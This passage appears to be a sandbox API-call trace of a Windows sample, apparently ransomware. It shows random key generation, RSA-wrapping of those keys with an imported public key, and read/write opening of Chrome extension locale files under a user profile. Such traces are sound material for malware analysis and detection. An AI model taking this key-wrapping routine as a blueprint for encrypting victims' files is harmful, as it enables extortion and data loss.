dwFlags=0x0) returned 1 [0236.635] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.637] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d7b8) returned 1 [0236.638] CryptGetKeyParam (in: hKey=0x659d7b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.638] CryptEncrypt (in: hKey=0x659d7b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9040000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9040000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.638] GetLastError () returned 0x0 [0236.638] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.638] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.640] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d838) returned 1 [0236.640] CryptGetKeyParam (in: hKey=0x659d838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.640] CryptEncrypt (in: hKey=0x659d838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9050000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9050000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.640] GetLastError () returned 0x0 [0236.640] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.640] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.641] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.645] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.645] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.645] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.645] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.647] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.648] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.649] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.649] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.649] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.651] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d738) returned 1 [0236.651] CryptGetKeyParam (in: hKey=0x659d738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.651] CryptEncrypt (in: hKey=0x659d738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9060000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9060000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.651] GetLastError () returned 0x0 [0236.651] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.651] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.654] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d278) returned 1 [0236.654] CryptGetKeyParam (in: hKey=0x659d278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.654] CryptEncrypt (in: hKey=0x659d278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9070000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9070000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.654] GetLastError () returned 0x0 [0236.654] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.654] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.655] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.660] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.660] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.660] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.662] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.663] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.663] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.664] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.666] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d7f8) returned 1 [0236.666] CryptGetKeyParam (in: hKey=0x659d7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.666] CryptEncrypt (in: hKey=0x659d7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9080000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9080000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.666] GetLastError () returned 0x0 [0236.666] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.666] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.668] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d0f8) returned 1 [0236.668] CryptGetKeyParam (in: hKey=0x659d0f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.668] CryptEncrypt (in: hKey=0x659d0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9090000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9090000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.668] GetLastError () returned 0x0 [0236.668] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.669] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.669] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.672] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.673] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.673] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.673] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.677] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.677] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0236.680] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d078) returned 1 [0236.680] CryptGetKeyParam (in: hKey=0x659d078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.680] CryptEncrypt (in: hKey=0x659d078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x90a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x90a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.680] GetLastError () returned 0x0 [0236.680] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.680] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.682] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d5b8) returned 1 [0236.682] CryptGetKeyParam (in: hKey=0x659d5b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.682] CryptEncrypt (in: hKey=0x659d5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x90b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x90b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.682] GetLastError () returned 0x0 [0236.682] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.682] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.683] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.688] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.688] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.688] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0236.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.691] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.692] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.692] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.692] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.695] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d1b8) returned 1 [0236.695] CryptGetKeyParam (in: hKey=0x659d1b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.695] CryptEncrypt (in: hKey=0x659d1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x90c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x90c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.695] GetLastError () returned 0x0 [0236.695] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.695] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.697] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d538) returned 1 [0236.697] CryptGetKeyParam (in: hKey=0x659d538, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.697] CryptEncrypt (in: hKey=0x659d538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x90d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x90d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.697] GetLastError () returned 0x0 [0236.697] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.697] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.698] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.701] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.703] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.703] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.703] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.707] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.707] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.707] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.707] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0236.710] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d1f8) returned 1 [0236.710] CryptGetKeyParam (in: hKey=0x659d1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.711] CryptEncrypt (in: hKey=0x659d1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x90e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x90e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.711] GetLastError () returned 0x0 [0236.711] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0236.711] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.713] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d5f8) returned 1 [0236.713] CryptGetKeyParam (in: hKey=0x659d5f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.713] CryptEncrypt (in: hKey=0x659d5f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x90f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x90f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.714] GetLastError () returned 0x0 [0236.714] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.714] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.715] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.718] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.722] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.722] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.722] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.730] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.730] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.730] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.730] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.733] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d138) returned 1 [0236.733] CryptGetKeyParam (in: hKey=0x659d138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.733] CryptEncrypt (in: hKey=0x659d138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9100000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9100000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0236.733] GetLastError () returned 0x0 [0236.734] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.734] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.736] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d638) returned 1 [0236.736] CryptGetKeyParam (in: hKey=0x659d638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0236.736] CryptEncrypt (in: hKey=0x659d638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9110000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9110000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0236.737] GetLastError () returned 0x0 [0236.737] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.738] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0236.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.744] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0236.744] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0236.745] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0236.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0236.750] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0236.750] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0236.750] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0236.751] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0236.753] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659d178) returned 1 [0236.753] CryptGetKeyParam (in: hKey=0x659d178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: 